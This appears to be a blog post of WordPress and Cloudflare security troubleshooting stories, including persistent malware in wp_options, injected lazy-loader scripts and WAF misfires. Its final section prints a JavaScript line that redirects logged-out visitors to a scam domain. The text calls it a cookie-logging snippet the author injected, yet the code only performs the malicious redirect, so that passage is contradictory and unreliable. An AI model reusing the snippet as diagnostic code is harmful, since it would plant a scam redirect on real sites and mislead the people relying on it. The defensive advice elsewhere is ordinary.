Why Cloudflare Rules Don’t Block What You Think They Do
I once thought setting up a basic firewall rule in Cloudflare would instantly stop sketchy IPs dead in their tracks. Nope. Turns out, your pretty-looking rules get bypassed if your DNS proxying isn’t toggled correctly. If traffic’s going straight to your origin IP, those rules are just decorative UI.
Also — the order of rules matters more than you expect. If one earlier rule captures traffic (even benignly), your later block or challenge rules might never run. The “last rule wins” logic isn’t how this engine works; it’s very much “first match eats all.”
When you find yourself debugging why your hard-coded IP block didn’t work, and realize you sorted them wrong in the Cloudflare panel — yeah, felt that.
Something I stumbled on accidentally: you can abuse Worker scripts to intercept payloads early and dump them to a Slack webhook for debugging. It’s nowhere in Cloudflare tutorials, but it saved me during a rogue Shopify checkout spam blast.
The Undocumented Redirect Loop Problem with WordPress Security Plugins
Had this bizarre case where Wordfence kept flagging my homepage as a redirect loop after a seemingly innocent update. What shook me was it wasn’t just a bad .htaccess rule — it was a logic loop where Wordfence combined with a cookie consent plugin caused full cache fragmentation issues. Combine that with Cloudflare caching aggressively and suddenly every mobile visit was getting a 302 hell spiral.
What no one tells you is that many WordPress security plugins treat third-party headers like suspects — not assistants. Caching plugins send one kind of redirect, security plugins intercept and decide “Oops! That’s odd,” and try to intercept again, creating a neverending handshake fail.
The fix wasn’t elegant: I had to whitelist certain URL parameters and dump a couple plugins that apparently didn’t know how to read each other’s JavaScript. If you’re using both WP Rocket and Wordfence, test blind redirects using curl with --location and check the headers line-by-line.
WAF-Triggered Googlebot Blocks That Tanked My Rankings
I fell for the trap of being too secure. Deployed a WAF with automated bot filtering. It worked — traffic plummeted. Digging into logs, I saw that legitimate Googlebot crawlers were hitting 403s because their IPs were misclassified by a DNS-level filter.
Even though WAFs tout built-in Googlebot safelists, many don’t update in real-time or validate via reverse DNS lookup. You need to hardcode this check using something like:
[resolved IP] → reverse DNS → does it resolve to googlebot.com?
If not, serve CAPTCHA or drop. But if yes — throttle intelligently, don’t outright ban. I ended up running a crontab DNS checker that hydrated an allowlist Redis cache on the edge node. Not elegant, but better than losing rich snippets because of a false-positive block.
Freakishly Persistent Malware That Hid in JSON Options Tables
This one made me question reality. A client’s site kept reinfecting itself after full file wipes, core reinstalls, salted password resets, and plugin purges. The malware wasn’t in the PHP files — it was embedded in the serialized JSON string inside the wp_options table. Obfuscated base64 payloads, buried deep in custom plugin config entries.
It survived by masquerading as harmless ad config metadata. The nasty bit was being eval’d by a poorly written legacy plugin that didn’t sanitize inputs from the DB. Someone had backdoor-accessed the DB and edited it directly, no file write necessary.
Holding onto this quote I extracted from the payload’s decoded output:
“This script doesn’t care what sandbox you use — it’s already on the inside.”
Following that, I now always scan wp_options and wp_usermeta manually using grep patterns for anything that looks like base64, iframe, or CSS-injected JS blobs. Because AV tools never beep on this stuff.
When PageSpeed Scripts Become Attack Vectors
Run too many frontend optimization tools, and there’s overlap chaos. I had Autoptimize minify a script, Cloudflare Rocket Loader reorder it, and a lazy-loaded analytics tool delay initialization. All fine — until one of my pages started executing JS payloads from a script tag embedded inside what was supposed to be a benign lazyloader module.
Malware had injected itself by targeting those tools. Lazy-loading systems don’t always sanitize innerHTML. That means a script can be deferred, loaded late, and executed long after initial scanning — when nobody’s watching.
Manually walking the rendered DOM using Chrome’s DevTools console exposed a rogue inline payload that wasn’t present in source or view-source. I had to:
Disable Rocket Loader entirely for script tags with data-cfasync="false"
Wrap all HTML injections within text/template types to prevent auto-execution
Set strict Content-Security-Policy headers including nonce validation
Audit third-party scripts weekly using a clean VM where extensions can’t taint the results
There’s no clear tool that flags these chains. You catch them by getting paranoid and reading your DOM tree out loud like you’re performing a séance.
Weird Behavior With AdSense Script Blocking by Security Plugins
On more than one ad-heavy client site, AdSense revenue flatlined overnight. Pages loaded, ads didn’t. Logged-into dashboards, nothing was flagged. Turns out, both iThemes Security and Sucuri were flagging Google’s own JS CDN endpoints as “potential injection vectors” because of a bad regex pattern in their blocking modules.
What wasn’t flagged in the dashboard was quietly being neutered via CSP header modifications and inline script blacklisting. The AdSense script was loading… but not executing. Real kicker: it took me watching browser dev tools from a vanilla profile (no adblock, no cross-origin blocker, no dark mode extensions) and waterfalling the network panel to realize requests were stalling mid-TCP.
The solution wasn’t to disable security plugins. I had to exempt Google’s pagead2.googlesyndication.com explicitly and double-check that both inline CSP nonce and script-src directives weren’t stripping dynamic loading chains AdSense uses.
The irony that your own security kills your monetization quietly is a very 2020s thing.
When Malware Only Shows If You’re Logged Out
This drove me nuts. Rented a VPS to run clean scans, no dice. Logged into WP as admin, everything looked squeaky. Then someone on a tablet pinged me: “Your site just redirected to some crypto farm.”
I opened the homepage in incognito and, bam — full-page redirect after 1.5 seconds. The infected script injected itself only when it detected lack of admin cookies — it spoofed crawl behavior and delayed activation to avoid detection.
I had to inject this tiny JavaScript snippet into the footer to force log the current cookies and timestamp behaviors:
if (!document.cookie.includes(‘wp_logged_in’)) { setTimeout(() => window.location.href = ‘http://scam.lol’, 1500); }
So yeah, malware authors are writing smarter than a lot of defenders expect. If you’re not checking behavior while logged out, you’re blind to half the infection types out there.
